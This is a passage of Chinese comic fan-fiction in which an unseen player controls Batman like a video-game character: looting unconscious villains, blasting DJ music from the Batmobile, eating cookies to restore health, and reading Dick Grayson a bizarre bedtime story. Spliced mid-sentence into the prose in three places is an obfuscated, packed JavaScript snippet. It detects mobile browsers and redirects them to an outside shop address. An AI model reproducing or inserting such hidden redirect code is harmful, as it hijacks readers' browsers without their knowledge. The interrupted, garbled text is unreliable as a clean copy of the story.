迪克蹲在地上打电话叫救护车来。打着打着，他就看到蝙蝠侠站在了企鹅人的面前，还没等他说什么阻止蝙蝠侠继续打人的话，下一秒，画面中发生的事情让迪克·格雷森这辈子都无法忘怀。 靠近奥斯瓦尔德·科波特后，旁边出现了几个对话，但因为装了一键拾取的功能，不需要你连续交互[F]拾取，点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193464|197101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下就好。所以你将光标缓缓移动到了最底下那个有着恶魔emoji的交互按键。 只见蝙蝠侠伸出手，以一种令人眼花缭乱的手速，在企鹅人身上摸索了一遍。那动作熟练得仿佛他不是哥谭的首富，而是钻石区最有经验的扒手。 “等、等一下！布鲁斯！你在干什么！？” 挂掉电话的迪克惊恐地捂住了眼睛，指缝却张得大大的。好怪，但是再看一眼。 随着系统提示框的一连串弹窗音效： [获得：损坏的单片眼镜x1] [获得：纯金怀表x1] [获得：高定燕尾服（破损）x1] [获得：防弹背心x1] [获得：丝绸衬衫x1] …… 企鹅人身上的装备一件件消失，最后只剩下了一条印着小黄鸭图案的四角裤，孤零零地挂在他那肥硕且苍白的身体上，在寒冷的夜风中瑟瑟发抖。 “噫噫噫！我的衣服！？” 企鹅人发出了比刚才挨打时还要崩溃的叫喊，双手环抱住自己满是赘肉的胸口，很明显他现在的精神状态也不太好。 迪克觉得自己的视网膜受到了不可逆的伤害。他转过头，试图从这地狱般的景象中寻找一点逻辑。 难道说，这是新的审讯技巧？利用羞耻心让企鹅人开口的作战？不，不对。绝对不是。这根本就是抢劫啊。 本来刚才夜巡的时候扒死人衣服已经是让他开了个龙眼，而现在就是蝙蝠侠在他心里形象的二次崩塌，活脱脱的社会性死亡啊！而且不只是蝙蝠侠的！他现在假装不认识蝙蝠侠还来得及么？ 不想社会性死亡的迪克在心里疯狂否定着自己对蝙蝠侠的猜测。但看着那个正把企鹅人的金表往万能腰带里塞的人，他又觉得这个猜测似乎也不是那么离谱。 你看着屏幕上只剩裤衩的企鹅人，满意地点了点头。虽然这游戏没有真的做出全果模型——感谢法务部的最后一点良知——但这副滑稽的模样已经足够让你笑出声了。 接着，你把目光转向了旁边那些躺在地上的喽啰们。 既然来都来了，总不能空手而归吧？ 于是，在迪克呆滞的注视下，高贵的黑暗骑士开始了他的“扫荡”工作，他穿梭在每一个晕倒的敌人之间，所过之处，寸草不生，雁过拔毛，兽走留皮，只留下一群穿着各式各样花裤衩的壮汉，横七竖八地躺在冰冷的水泥地上，何等的地狱构图啊！ “……我要告诉阿尔弗雷德。” 迪克小声嘀咕了一句，今晚发生的一切都让他感觉自己的三观正在重塑。 搜刮完毕。你看着背包里那一堆破烂装备，虽然大部分只能卖给黑市商人换点零钱，但那种“清理地图”的快乐是无价的。你脚搭在地板上，慢悠悠地带着椅子转了个圈。 然后操控着蝙蝠侠站起身，拍了拍手套染上的灰尘，然后转过身，面对着那个一脸生无可恋的罗宾。 “走了，罗宾。这里已经没用了。” 依然是那个低沉、威严、令人信服的声音。如果不看背景里那一群捂着档的反派的话，这绝对是一个帅气的离场。 迪克嘴角狂抽。他看了一眼缩在墙角还在抽泣的企鹅人，又看了一眼正大步流星走向蝙蝠车的养父，最终只能无奈地摇了摇头。到底谁是反派啊今天晚上！ 他快步跟了上去，但在路过企鹅人身边时，还是忍不住脱下自己的披风，盖在了可怜的科波特的身上。 “别感冒了，奥斯瓦尔德。” 这大概是今晚这个疯狂的哥谭之夜里，唯一的一点人性光辉了。 坐回车里，迪克系好安全带，眼神复杂地看着身边的蝙蝠侠。 “B。我能问一件事吗？” 他顿了顿，吞了口口水，似乎在斟酌词句。 “那个……你不会，把我的衣服也扒了吧？” 4. 蝙蝠侠的良心！ “不，哈哈哈，我是瞎说的，布鲁斯怎么可能会扒我衣服……”迪克自觉自己说了十分糟糕的话，一张漂亮的脸蛋臊得发红，他是个非常健康的男孩儿，比同龄人要强壮，敏捷和灵活，你惋惜地看看他，阎王要人三更死，谁敢留人到五更呢，不做只是因为不能做，而不是不想做。无法对友军实行扒衣简直是这个游戏的一大漏洞。谴责！狠狠谴责一下策划！ 是的，你大概想不到阻止你自由玩耍的阻力竟然来源于阿美莉卡的四字母原则，严格意义上，游戏里这只小鸟还是个未成年。要知道剧情里残害小孩儿的可以是反派，但绝对不能是玩家。为了过审，工作室的道德底线也出奇地灵活。不过你自己仔细观察过第一次出现的警告弹窗，一连串英文，你好像就看懂了前面的滴着血的大字：蝙蝠侠的良心！ 看来这其中也有蝙蝠侠的良心在作祟。你仔细拉进镜头狠狠时间正要坐下来开车的蝙蝠侠，好吧，谁让这是蝙蝠侠呢，这可是你现在最喜欢的角色了。 迪克逃过一劫，但他毫不知情。 蝙蝠侠坐下没多久，屏幕上依旧是音游模式，你让蝙蝠侠从腰带里拿出了头挂式耳机——迪克发现蝙蝠侠的万能腰带堪比哆啦A梦的神奇口袋，不过实际上对你来说，这只是游戏背包而已。但对迪克而言确实是看到了蝙蝠侠从腰带里掏耳机，他决定当成是魔法，是的，无法用科学解决的问题，一切都可以推到魔法身上。 很快迪克就知道了蝙蝠侠为什么要戴耳机。 劲爆的车载DJ音乐在车厢里再次响起，音量开到最大，令蝙蝠车像是一个自走音响那样，行走在千家万户。巨大的音浪震得人耳鸣阵阵，迪克捂住耳朵，犹觉不够。紧接着蝙蝠侠就把蝙蝠车上的灯光打开了，车厢里面的灯不知怎么改成了霓虹灯，疯狂闪烁犹如迪斯科舞厅闪耀的灯球，车身不知什么时候被改造，原本隐蔽的功能因为车身的一圈霓虹光带变得突然赛博朋克起来，蝙蝠车所到之处，居民怨声载道。 经过时原本全黑一片的楼房一扇接一扇地亮起了灯，像是对这些噪音忍无可忍，终于清醒过来。哥谭市冷眼旁观注视着骑士们的夜航，那发动机引擎的声音嗡嗡作响，疾驰而去，几只躲在垃圾桶里的流浪猫被声音吓了一跳，翻跳出去，垃圾桶被这股外力击倒，垃圾四散在地。 迪克本想开口，他感觉自己全身都在震，整个人随着车身震颤而震颤，不得不让他想起来小时候和布鲁斯去游乐园的日子，坐的那个跳楼机，或者是过山车，布鲁斯终于把极限运动的爱好带到了驾驶蝙蝠车上。他试图说话，捂着耳朵说出来，但那话一瞬间就被声浪掩盖下去了，他觉得他自己双眼皮突突直跳，不祥征兆，大脑皮层，生死难料，仿佛上面刚被一群穿着舞裙的直立大象踩踏过。理智值岌岌可危。 “B……布鲁斯！音量！把音量调低点！鼓膜要破了！” 迪克扯着嗓子喊道，声音因为车身的颠簸而变得断断续续，他有些怀疑这声音能不能传达到蝙蝠侠的耳朵里，如果那身高科技装备没有出任何事的话，他很确定，没有被那些喽啰们打烂。不过如果装备们还运作着的话，蝙蝠装那个尖尖的耳朵用来捕捉声波，这么大的音乐声音，蝙蝠侠的耳朵会不会已经聋了？ 毕竟布鲁斯对他的话充耳不闻。不对……不对……天呐，那个该死的头挂式耳机，他差点忘记了——除非那里面放的也是DJ，否则应该还是能隔一点音的！ 迪克感觉自己置身在一个巨大的滚筒洗衣机里，并且从里面被吐了出来，或者他要把自己比作一只跑滚轮的仓鼠，这样死法就不是后脑勺被击中而死，而是死于一直跑滚轮的过劳。 蝙蝠侠还是没有理会他。 屏幕上的小丑头像音符下落速度快得惊人，每一个Perfect判定都会带来一阵更加繁杂的激光特效。这对你来说是享受，是连击数的累积，是分数的飙升。 至于哥谭市民的睡眠质量？那是市长该操心的问题，反正蝙蝠侠现在的道德评价已经因为刚才那一路的横冲直撞掉到了谷底，也不差这几分扰民的罪名。 论坛上现在肯定已经炸锅了。大概会有诸如《震惊！蝙蝠侠深夜转行做DJ？》、《论哥谭骑士的精神状态》之类的帖子刷屏。 但你才不在乎，你的眼睛定定地盯着左上角的血条——刚才为了贪一个连击，不蝙蝠车小心蹭飞了路边的消防栓，掉了那么一丝丝的血量。 那一小截缺失的红色，在满管的血条上显得格外刺眼。强迫症像是一只无形的小手，在你心里挠啊挠的。 不行，得回血。 蝙蝠车终于在一个极其夸张的漂移后，冲进了韦恩庄园地下的蝙蝠洞，那首折磨了迪克一路的《哥谭午夜狂想曲》终于在蝙蝠车停下之后戛然而止。 世界瞬间安静了下来。 这种安静来得太突然，以至于迪克的耳朵里还在嗡嗡作响，像是蜜蜂把里面当蜂箱筑巢。 车门缓缓升起。迪克两腿一跨出去，顺着座椅就从车上滑到了地上。他扶着车门站起来，双腿打着摆子，脸色惨白。下一秒就要吐魂前往黄泉路去了。 “哈……哈……终于结束了……再也，再也不坐你的车了……” 他虚弱地大口喘气，感觉自己的五脏六腑都移了位。 你操控着蝙蝠侠，动作迅速地跳下车，披风犹如凌乱的黑云随着步伐一摇一晃地飘着。你没有走向更衣室，也没有走向那个巨大的蝙蝠电脑去分析今晚抢来的战利品，而是径直走向了休息区的那张小圆桌。 那里放着阿尔弗雷德准备的夜宵托盘。 银质的托盘在洞顶灯光的照射下反射着冷冽的光，上面整整齐齐地码放着一碟刚刚烤好的小甜饼，旁边还有一杯还在冒着热气的红茶。 迪克扶着墙，跌跌撞撞地跟了过来。他看着养父那副急切的模样，心里升起一股名为“担忧”的情绪。难道是刚才的战斗受了内伤？还是中毒了急需解药？ “布鲁斯，你受伤了吗？需要叫阿尔弗雷德来吗？” 他的话还没说完，就看见那个哥谭的黑暗骑士，那个令罪犯闻风丧胆的蝙蝠侠，伸出手，抓起一块小甜饼，塞进嘴巴里。 牙齿如刀锋般锋利，小甜饼犹如奶油般化开，迅速消失在蝙蝠侠的嘴里。 屏幕上，蝙蝠侠头顶冒出了一个绿色的数字：+10 HP。 血条稍微涨了一点点，但还没满。 于是你又抓起一块。 +10 HP。 还差一点。 再抓一块。 迪克显然脑子还没转过来弯来，准确来讲，担忧的心情蒙蔽了他的脑子，但他的脑子却又对此时此刻蝙蝠侠的行为理解无能。不过，今天晚上发生的事情真的有哪件他能理解到么？那些诡异的摇滚乐夹杂贝恩的rap、小丑的笑声和企鹅人的尖叫，在尸体上扒衣扒钱，把混混们揍趴下然后继续扒钱，甚至深夜外放DJ扰民，一桩桩，一件件，他真的分不清啊！ 他还是个小孩儿，他真的不想懂这些。现在他推测，布鲁斯要么就是发疯了，要么就是被人假扮了，比如泥脸之类的，能假扮成布鲁斯的并且知道蝙蝠侠身份的，但是后者可能性不大，所以，果然布鲁斯是发疯了吧！ 迪克很纠结，他很纠结如何委婉地告诉阿福，布鲁斯疯了。不过以蝙蝠侠的性格，他估计在给自己在阿卡姆疯人院留了个床位，时时等着和那帮反派当病友吧。 但是布鲁斯又是得了什么病呢？难道是人格分裂？这就能解释为什么布鲁斯突然像变了一个人一样了。 有件事情迪克一直在想，非常细思极恐的事情就是，蝙蝠侠从来没不承认过自己是双面人，所以…… 打住，迪克打住，迪克越想越觉得诡异。 “等、等一下布鲁斯！吃那么多的话……会被阿尔弗雷德骂的哦？明明晚饭都剩了那么多。” 迪克试图阻止蝙蝠侠，他觉得这画面太违和了。蝙蝠侠还穿着自己的战甲，风尘仆仆地回来，就站在昏暗的蝙蝠洞里，狂往自己嘴里塞饼干。 你完全无视了他的聒噪。你的眼里只有那个血条。 98%……99%…… 最后一块。 你操控着蝙蝠侠终于把自己的血条给喂足了。 叮！ 血条终于满了。你长舒了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193465|197101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气，感觉整个人都升华了。强迫症得到了极大的满足，这比把小丑揍进阿卡姆还要让人身心愉悦。 你停下了动作，转过身，面对着那个一脸懵逼的小鸟。 迪克看着那个没剩多少小甜饼的托盘，又看了看蝙蝠侠那张依旧面无表情的脸。他再一次肯定了自己的想法，今晚的布鲁斯绝对是被什么东西附体了——他居然吃了这么多小甜饼！ “B，你今天吃了好多小甜饼，赶上好几天的摄入量了！” 他指着那个盘子，语气里充满了不可置信。要知道，那可是整整一磅的小甜饼啊。 你操控着蝙蝠侠点了点头，动作幅度很小，带着一种吃饱喝足后的慵懒——虽然在画面上看起来更像是卡顿了一下。 “能量补充很重要。罗宾，你也该学学。” 蝙蝠侠一本正经地胡说八道，声音经过变声器的处理，听起来依旧深沉而富有哲理。 迪克嘴角抽搐了一下。他觉得自己的胃开始幻痛了。 “不，我就免了。我还胃疼呢。” 他捂着肚子，靠在桌边，眼神里流露出一丝疲惫。今晚经历的一切对他那年轻的世界观造成了太大的冲击。飙车、音游、抢劫尸体、现在又是暴食。他觉得如果明天布鲁斯突然宣布要在韦恩塔顶跳草裙舞，他可能都不会感到惊讶了。 蝙蝠侠挑了挑眉——虽然迪克不知道隔着面罩他是怎么看出来蝙蝠侠挑眉的，但这其实不太重要。 “不，迪克，你需要。” 你不忘检查小鸟的状态栏，血量有所下降，他变得不完整的感觉令你皱眉，罗宾是蝙蝠侠的，蝙蝠侠是你的，四舍五入一下，蝙蝠侠和罗宾都是你的。控制的Desire大爆发！罗宾吃我一记小甜饼！ “＄@#3……” 迪克被蝙蝠侠塞了一嘴小甜饼，差点没噎死。至此，最后一块小甜饼阵亡，它们是今晚的英雄，牺牲是光荣的。血量回满。啊，你现在是终于圆满了。 这时候，穿着燕尾服的阿尔弗雷德才像是幽灵一样从阴影里走了出来。他看了一眼空荡荡的托盘，又看了一眼站在旁边仿佛什么都没发生的蝙蝠侠，那张总是波澜不惊的脸上难得地挑了一下眉毛。 “哎呀，布鲁斯少爷。今晚看来胃口相当不错。我也就放心了，这样的话，明早的蔬菜粥，想必您也能一点不剩地吃完吧。” 阿尔弗雷德的声音温和，但迪克分明从中听出了令人脊背发凉的寒意，他好不容易咽下对喉咙致死量的那块小甜饼。 你操控的蝙蝠侠明显僵硬了一下，针对NPC管家侠的惯用待机动作。显然，游戏并没有给“吃蔬菜粥”设计回血机制，甚至可能会有“心情值下降”的Debuff。但不吃又将触发[老管家的不赞同]，积累五张[老管家的不赞同]就会有大事发生，出于防患于未然的心思，你决定不惹LV.99的管家侠aka阿尔弗雷德。 但那是明天的事了。现在，你是满血的蝙蝠侠，你就是哥谭的王。你视死如归地点点头，虽然在迪克和阿尔弗雷德眼里，那像是嘴巴抿成直线，头却赞同点头，身体意识和理智分离的大猫不高兴形态， [系统]「对局提示:管家侠aka阿尔弗雷德对您发动了技能[为你好]，是否接受蔬菜粥早餐邀约？Y/N」 [系统]「对局提示:BATMAN已自动选择Y」 [系统]「潘尼沃斯·阿尔弗雷德对您的好感度提升了↑当前关系阶段:至亲之人注:此阶段好感至下一阶段所需好感:无限度」 [系统]「迪克·格雷森对您的怀疑度下降了↓」 “晚安，阿尔弗雷德。晚安，罗宾。”蝙蝠侠揉了揉额角，有点疲惫，但看出来夜巡时的紧绷了。 “晚安，布鲁斯老爷，迪克少爷。” 迪克看着那个燕尾服的背影消失在电梯门后，长长地叹了口气。他揉了揉还在耳鸣的耳朵，觉得这漫长的一夜终于要结束了。至少，他还活着，不是吗？ 但是看看摘下面具的布鲁斯明显一副“房间等我，找你有事”的表情，迪克决定先把自己今晚一定能活下来这样的想法打上个大大的问号。 5. 罗宾与睡前故事 不过说是迪克在房间里等他，实际上这段路仍是布鲁斯和迪克一起走。这可能是你为数不多会把耐心放在父子相处的过场CG而不是着急跳过的一次，迪克难得不好意思。这段路分明他走过无数遍，连需要多少步才能走回去也已经有了朦胧的概念，但似乎今天和布鲁斯一起走，都让这件小事被赋予了特别的意义，他知道自己在期待，因为稀少，稀缺，所以格外珍贵，需要被珍惜。 他偏过头，无数次的，比他在蝙蝠车里从副驾驶座位看蝙蝠侠还要多，脱去战衣，他不再是罗宾，但他永远，永远都有为了身边的人，为了他的生活，再次成为罗宾的理由。 “B……” 他开了个头，有些局促，开了个头不知道如何说接下来的对话，在蝙蝠侠偏过头看向他的时刻，又或许旁边的人只是在认真地走自己的路，看着前方。 你真希望屏幕那头的蝙蝠侠能说什么，可惜了，似乎在他人渴望他真情流露的那一瞬间，他反而要让那期待落空，就像是不希望别人来打动他那样，即使那个人确实对他有诸多意义。然后成为意义本身，家人本身。他们两个，是在乎着彼此的。笨拙而又小心翼翼的真心，就藏在假面之下。 “我想说，你怎么没换下来蝙蝠装？不想让布鲁斯·韦恩出来透透气么？”他眨眨眼，故作轻松。 迪克记得所有横隔在他和布鲁斯·韦恩之间的过去，他和布鲁斯的过去，成为在夜幕之上闪耀着的星辰，而此刻那星辰依旧在照耀着他们。他庆幸蝙蝠侠是布鲁斯·韦恩，或者说庆幸布鲁斯·韦恩是蝙蝠侠，他不需要为此分得清分得开，这个人既是慈父又是严厉的导师，既仁爱又严酷，并非神明却行常人所不能行之事，一如黎明破晓时的晨光，黑暗如影随行，隐隐却又能窥见些缕光明。命运的齿轮层层嵌套，命运引领他得以跟随在对方左右，正如黑森林中的但丁与维吉留斯。 他当然固执，自我主义，他确信自己会使一切变得更好，他们也这么确信着，他的事业会如日中天，他们仍有更多的时间。这和其他人，和与他们对立的人，所做的事情其实没什么不同，跨出了那一步之后，其实没什么不同。 想到这里，迪克隐隐纠结的心，交缠在一起的乱麻也终于是解开了一部分，稍微松口气，心虽然一直提着，但也在这美好的夜色下松缓下来神经，哪怕这只是，处于一种对未知的畏惧而选择不去试探。因为什么不去试探，他心中自有答案。 蝙蝠侠没有回答他。他现在看起来很正常——没有扒衣，没有摸空气走路，没有弄出奇怪的音效，谢天谢地，他真怕蝙蝠侠哪天把鞋子弄成会吱吱响的那种。他保证他会离对方三米远，并假装不认识蝙蝠侠。 “好吧，伙计，也许你会把它当成你的睡衣。这样你就能时刻准备着打击犯罪了。”迪克杵杵他，“所以，万圣节要提前了？” “我会说，没有。” 迪克耸耸肩，“感谢你的回答。不要告诉我今天特意跟着我到房间里来是要和我谈谈赔偿的意思。对我的神经，还有耳朵。” 他已经习惯蝙蝠侠在这种问题上不回答他了。 终于走到了房间门口，他下意识回头，蝙蝠侠面色如常，仿佛是身在自己的房间里那样，比他自己更像房间的主人，虽然确实整个韦恩庄园都是布鲁斯的。 然后那种感觉又来了。 蝙蝠侠走在他的后面，然后走进来的时候，撞了下门框，就像是当时在企鹅人那里一样，空气中存在着只针对百特曼一人的透明墙。对你来说，要驾驶蝙蝠侠初号机还是很有难度的，游戏里看着很远的距离，实际上是很近的。你还没有彻底驯服蝙蝠侠的四肢，它们现在都有自己的想法，已经免费了。没在建模上做多余球形关节让人物的四肢自由活动真是工作室的一计良策。否则现在蝙蝠侠的四肢应该处于一种乱飞的状态。 迪克在紧张，虽然他自己也不知道自己在紧张什么。在蝙蝠洞里他就换好衣服了，拎个枕头倒头就能睡，但是现在迪克不能。 不仅因为布鲁斯今天一反常态的那些表现，还是因为，他还没习惯被这身蝙蝠装的布鲁斯盯着。老实说，画面很惊悚，他的身体直挺挺地躺在床上，感觉自己像是那个好几层床垫下被塞了豌豆的豌豆公主。简单来讲，就是浑身刺挠不得劲，他把被子从脚拉到头，裹着看布鲁斯，有点尴尬，“晚安？” “时间还早，迪克。” 蝙蝠侠坐在他旁边。从万能腰带里掏出一本书。魔法，好吧，又是魔法。他的养父的万能腰带上一定连着一个异次元空间，绝对的。 你点击了屏幕上那个名为【睡前故事】的互动选项。这原本应该是一个温馨的父子互动环节，旨在通过阅读经典童话来抚慰罗宾在战斗中受创的心灵，虽然大部分创伤都是你造成的。但显然，游戏开发者对于“温馨”二字的理解，和正常人有着马里亚纳海沟般的差距。 房间里的灯关了。只留下一盏小夜灯，昏黄的灯光在黑暗里非常有氛围感。迪克很喜欢它，这是老管家阿尔弗雷德送的，他悄悄给灯取了个名字。然而此时迪克的思绪都围绕着蝙蝠侠在转。 在床边的布鲁斯·韦恩，aka蝙蝠侠，哥谭的黑暗骑士，不苟言笑代言人，嘴角平直得车能在上面开得无比顺畅，此刻正襟危坐，如临大敌！ “说真的，你真不必给我念睡前故事。我已经过了那个年纪了，布鲁斯。而且你看起来就像是要做战前动员了。” 迪克的声音从被子里闷闷地传出来，他几乎把大半张脸藏在被子下，只留下戴着眼罩的眼睛，似乎想要迫使自己快速入睡来逃避夜晚的活动。 你操控下的蝙蝠侠对此置若罔闻。他手里捧着一本《格林童话精选》。 看看他，从来都不听我说话。迪克难得发现了自己心中的一点儿叛逆。 布鲁斯清了清嗓子。那声音经过变声器的处理，低沉，非常低沉，通常他更多听的是布鲁斯用这样的声音发出怒吼，此刻听他讲故事，总感觉有点恍惚。 “很久以前，有国王和王后。他们想要孩子，但许久未能如愿。从统计学角度看，这是导致王室继承危机的重大风险因素。” 迪克:痛苦面具.jpg 还在恍惚的迪克猛地掀开被子，坐了起来。他脸上戴着那只画着卡通眼睛的眼罩，下一刻他就摘下来了。迪克大为震撼。 “等等，等等！那里不需要注释吧！？原文里没写那些吧！？” 他指着那本童话书，手指都在颤抖。 “而且，那个声音！用那种语调说‘很久以前’什么的，听起来完全像是大屠杀开始的前兆啊！” 你看着屏幕上迪克头顶冒出的[精神压力+10]的提示，不仅没有愧疚，反而觉得这才是这款游戏的精髓。 你移动鼠标，点击了【继续阅读】。 “我一定会告诉阿尔弗雷德的。这儿有人不让我睡觉。”迪克嘀咕道。 面对迪克的不满，你眼见着他的状态栏上出现了一个选项框。出现了，你最喜欢的玩法，幸福三选一！ 【A.顺从他的想法，结束亲子活动时间】 【B.打晕迪克，继续完成读睡前故事环节】 【C.把迪克按回床上(需要过一个力量判定)】 啊哈，你自信地选了C。 “亲子活动时间，迪克，听从我的命令。躺好。”蝙蝠侠把迪克按回了床上，紧接着还人性化地给他掖好了被角。噔噔噔，打包好的新鲜小鸟出炉了！ 布鲁斯做完这些之后又翻过一页。 “有一天，王后正在洗澡，一只青蛙从水里冒出来说：‘你的愿望会实现的’。这是明显的非法入侵，暗示了安保系统的缺陷。浴室这种私密空间能让未确认生物侵入的构造，会增加被暗杀的风险。” 发现自己力量判定输了的迪克绝望地捂住了脸，只得躺平。他以为布鲁斯病情有所好转，但现在看来反而是加重了。 “够了，随便你吧。去审讯青蛙还是干什么都行。” 他放弃了。在绝对的力量面前，反抗无疑是徒劳的，而且跪得就更迅速了。 你看着这一幕，觉得还不够。既然是讲故事，那就得有互动。 屏幕上弹出了一个QTE选项：【模仿角色的声音】。 你毫不犹豫地按了下去。 于是，当布鲁斯念到坏仙女诅咒公主的那一段时，画风突变。 那个原本低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193466|197101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉的蝙蝠侠声线，突然拔高了八度，怎么听怎么像马上要吃小孩儿了。 “公主到了十五岁，就会被纺锤刺破手指而死！呀哈！！” 这声音从布鲁斯·韦恩嘴里发出来，令瘫在床上的迪克浑身一震。他觉得这辈子都无法释怀了。 “布鲁斯，别这样，太吓人了！ 他抓着被角，惊恐地看着那个正在用假声配音的养父。那一瞬间，他甚至觉得面前的百特曼比哥谭所有的反派加起来都要恐怖。至少蝙蝠侠是真疯了！ 但布鲁斯并没有停下来。你已经沉浸在自己的艺术中无法自拔了。 他又切换回了那种沉稳的旁白音，继续念道： “但是，第十二个仙女走上前来说：‘不会死。只是会沉睡一百年’。这在医学上意味着进入昏睡状态。长期的卧床会导致肌肉萎缩和褥疮，需要制定适当的护理计划。” 迪克此时已经不再说话了。他双眼无神地盯着天花板，仿佛灵魂已经出窍，去往了一个没有蝙蝠侠、没有童话故事、也没有DJ舞曲的美好世界。 “B，能不能换个故事？求你了，我真不想知道公主亲吻青蛙时通过唾液传染小丑病毒的概率！”迪克都有些抓狂了。 “驳回。” “唉。” QWQ。 生活不易，罗宾叹气。 ** 你看着任务进度条终于走到了100%，满意地点点头。 [系统]「任务完成：睡前故事」 [系统]「获得奖励：父慈子孝（成就）」 [系统]「罗宾状态更新：SAN值-50，睡眠质量-100」 布鲁斯终于合上了故事书。 “故事讲完了。教训很明确。加强安保，以及不要忽视定期体检。” 他站起身。迪克的表情就像是梦游似的， “晚安，迪克。做个好梦。” 迪克没有任何反应，只是眼角默默地流下了一行清泪。 “怎么可能做得出梦啊……听完了这种故事之后，知识，就进了脑子里啊……” 建模小人在床上，脑袋上不断出现书籍的对话气泡，你在椅子上伸了个懒腰，心想这孩子看起来真有前途，这么好学，不愧是系统邮箱赠送的小鸟，诚意满满啊，就是培养进度现在还很慢，距离他解锁究极体夜翼形态还有个好多年的，不过这样漫长的养成期也太值得了。你鸡娃的斗志在熊熊燃烧。 蝙蝠侠还维持着坐在床边的动作。这游戏的判定有点迷，而且这个时候你的电脑突然卡顿了一下，连带着蝙蝠侠也卡顿了。然后你发现，进入摄像机模式，点击待机动作，同时点击暂停，视角转的时候，人物的建模会无视原本的床的建模的物理碰撞体积，俗称卡模，蝙蝠侠，就这么卡在了床里。 但是卡的时机似乎不太对，时间也就是一瞬间。 连带着迪克都要揉揉眼睛，觉得自己一定也是疯了，刚才眼前居然出现了蝙蝠侠卡进床里的幻觉。 蝙蝠侠还好端端地坐在那里嘛。 然后百特曼在他的注视下，表现了一个静止状态下，如何以坐姿三百六十度旋转并且腿部卡模。 迪克睁大了眼睛，悟了，他终于悟了。物理学已死，万事皆有可能！ 屏幕前的你已经录好了视频，退出摄像机模式之后，你发现迪克正保持着见了鬼的表情看蝙蝠侠，感觉有点不明所以。 你把一切归因于小孩儿精力旺盛，并且百特曼故事讲得实在是太好了，又能娱乐又能学习知识。小孩儿嘛，对父母有崇拜很正常。 蝙蝠侠侧头看着窗外漆黑的天色。这就是哥谭的夜晚了，就连星星月亮也沉睡。他关上小夜灯，“晚安，迪克。” 过了一会儿，迪克说，“晚安，布鲁斯。” 迪克决定原谅布鲁斯的发疯，他现在对蝙蝠侠已经有了一个全新的推测，自己的养父可能是个反物理学幽灵，能量不稳定的时候就会卡进物品里，对，一定是这样。科学无法解答的问题就推给魔法吧！ 至于后续迪克会不会做噩梦，那就是睡醒后的迪克该关心的事了。 总而言之，今晚的哥谭市一如既往地核平呢！ 6. 韦恩家的蝙女仆 今天注定是不平凡的一天。 早晨六点，迪克就醒了。今天是很特殊的日子，这个时刻也很特殊，迪克想，他居然挺过来了。昨天晚上布鲁斯对他说了两遍晚安才走的，他就没立刻睡着，事实上，他也睡不着——辗转反侧，在自己的床上待着，只感觉身上扒着好几只黑猫在爬，应该说，有布鲁斯在爬。 虽然这通常来说很歧义，要想想，天呐，在这个黑漆漆的大蝙蝠身边待着只色彩这么鲜艳的罗宾小鸟，穿着绿鳞小短裤，光着那双长腿，瞅着年龄不大，每天大晚上不睡觉就这么在天上荡来荡去的，换做是谁都会警惕起来，他是指，警惕蝙蝠侠。但是对迪克来说，真的贴切极了。因为他没把布鲁斯当成人类来看待，对普通人来说，蝙蝠侠本来就是都市传说，然而这并不是迪克这么认为的理由，在经过了昨天那件事之后，如果说迪克还能把布鲁斯当成普通人类看的话，那么，迪克想，我和布鲁斯当中肯定有一个已经疯了。 说回正题，关于迪克在早晨六点就醒来，是因为他做了一个怪梦。对当事人来讲，实在可以称得上是惊悚。 他梦见自己成了只兔子，身体还是人的身体，只是有兔耳朵和兔尾巴，梦里是一片类似扣扣空间农场种地的氛围，其实迪克并不知道扣扣空间农场是什么东西，但是脑子里时不时就会冒出这样陌生的词汇——还有件事情不知道当讲不当讲，迪克昨天翻来覆去睡不着的时候有偷偷看布鲁斯的黑叉社交平台，发现布鲁斯把昵称改成了粨忝⒏忄董亱dè嫼，非常得令人难以置信。迪克想了想，觉得那可能是是什么新型加密语言。 不对，根本就是非主流火星文吧！绝对就是非主流火星文吧。 但是他不好意思说。毕竟真说了，布鲁斯一恼羞成怒，该把他手机收了。 扯远了，总而言之要梦里都是刚开始那样看起来那也没什么不对劲，但是紧接着，有个声音一直扯着喉癌的嗓子喊自己罗宾。 他在做梦，梦境里面也是恍恍惚惚的，他循着声音低下头，定睛一看，田里面到处都是穿着蝙蝠装的布鲁斯。 好消息，是布鲁斯，坏消息，是萝卜蝙。很难想象一只2D的白萝卜上是印着张3D的脸，戴着面罩，还有两个小黑耳朵立着，尖尖的，感觉迪克去拔，一下子就能戳破他自己的脖子以下腰部以上的位置。 迪克完全是被吓醒的，醒来之后，他就没再睡着觉，他觉得以后他再也不想在餐桌上见到白萝卜了。 